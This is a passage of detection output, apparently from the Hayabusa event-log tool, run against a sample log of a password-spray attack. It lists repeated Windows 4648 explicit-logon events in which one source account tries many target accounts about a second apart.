Target User: cfleener : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:27:16.841 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: cmoody : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:27:17.922 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: psmith : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:27:19.035 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: jkulikowski : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:27:20.097 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: gsalinas : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:27:21.156 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: tbennett : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:27:22.222 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: econrad : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:27:23.295 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: smisenar : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:27:24.342 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: jleytevidal : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:27:25.404 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: lpesce : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:27:26.504 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: sanson : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:27:27.583 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: sarmstrong : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:27:28.654 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: wstrzelec : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:27:29.712 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: zmathis : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:27:30.787 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: melliott : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:27:31.861 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: kperryman : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:27:32.955 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: jorchilles : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:27:34.020 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: jlake : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:27:35.081 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: edygert : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:27:36.151 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: drook : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:27:37.238 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: dmashburn : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:27:38.310 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: cspizor : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:27:39.393 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: cragoso : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:27:40.457 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: bgalbraith : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:27:41.553 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: bking : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:27:42.613 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: mdouglas : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:27:43.686 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: bgreenwood : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:27:44.738 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: baker : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:27:45.818 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: ssims : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:27:46.896 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: smisenar : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:27:47.953 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: Administrator : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:27:49.019 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: jwright : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:27:50.082 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: dpendolino : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:27:51.156 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: celgee : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:27:52.214 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: thessman : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:27:53.285 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: eskoudis : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:27:54.354 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: cdavis : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:27:55.438 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: mtoussain : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:27:56.513 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: lschifano : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:27:57.578 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: bhostetler : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:27:58.661 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: rbowes : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:27:59.721 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: ebooth : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:28:00.795 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: cfleener : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:28:01.865 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: cmoody : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:28:02.941 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: psmith : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:28:04.015 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: jkulikowski : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:28:05.097 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: gsalinas : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:28:06.182 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: tbennett : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:28:07.239 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: econrad : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:28:08.315 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: smisenar : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:28:09.399 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: jleytevidal : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:28:10.468 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: lpesce : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:28:11.549 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: sanson : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:28:12.621 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: sarmstrong : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:28:13.709 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: wstrzelec : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:28:14.769 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: zmathis : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:28:15.849 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: melliott : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:28:16.918 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: kperryman : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:28:17.999 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: jorchilles : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:28:19.068 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: jlake : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:28:20.129 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: edygert : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:28:21.201 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: drook : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:28:22.250 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: dmashburn : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:28:23.338 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: cspizor : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:28:24.404 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: cragoso : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:28:25.468 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: bgalbraith : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:28:26.529 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: bking : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:28:27.607 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: mdouglas : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:28:28.691 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: bgreenwood : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:28:29.753 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: baker : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:28:30.838 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: ssims : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:28:31.910 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: smisenar : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:28:32.983 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: Administrator : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:28:34.067 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: jwright : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:28:35.146 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: dpendolino : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:28:36.239 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: celgee : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:28:37.334 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: thessman : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:28:38.403 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: eskoudis : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:28:39.463 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: cdavis : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:28:40.530 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: mtoussain : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:28:41.608 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: lschifano : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:28:42.669 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: bhostetler : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:28:43.731 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: rbowes : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:28:44.801 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: ebooth : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:28:45.880 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: cfleener : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:28:46.969 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: cmoody : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:28:48.042 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: psmith : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:28:49.108 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: jkulikowski : IP Address: 172.16.144.128 : 